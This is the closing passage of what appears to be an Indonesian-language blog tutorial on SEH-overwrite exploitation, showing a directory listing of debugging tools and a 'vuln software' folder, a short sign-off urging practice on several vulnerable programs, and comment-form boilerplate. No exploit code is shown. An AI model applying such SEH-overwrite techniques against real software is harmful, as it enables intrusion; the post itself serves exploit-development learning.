01/26/2010 04:47 PM 575 IDA Pro Advanced (32-bit).lnk
01/26/2010 04:47 PM 587 IDA Pro Advanced (64-bit).lnk
01/26/2010 01:30 PM 91,799,890 IDAPro5.5.rar
04/22/2009 01:36 PM 1,059 Microsoft Visual Studio 2008.lnk
04/26/2009 06:36 PM 666 OLLYDBG.lnk
01/18/2010 11:39 PM vuln software
01/09/2010 06:56 PM 494 windbg.lnk
8 File(s) 94,163,680 bytes
3 Dir(s) 22,697,357,312 bytes free

Well, that’s all for now folks. Banyak sekali contoh aplikasi yang dapat di eksploitasi menggunakan tehnik SEH overwrite. Setelah berlatih dengan 4-5 software, kalian pasti bisa dengan mudah mendapatkan konsep dan menerapkannya pada bug software lain.

Have fun with your pop+pop+ret :).

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s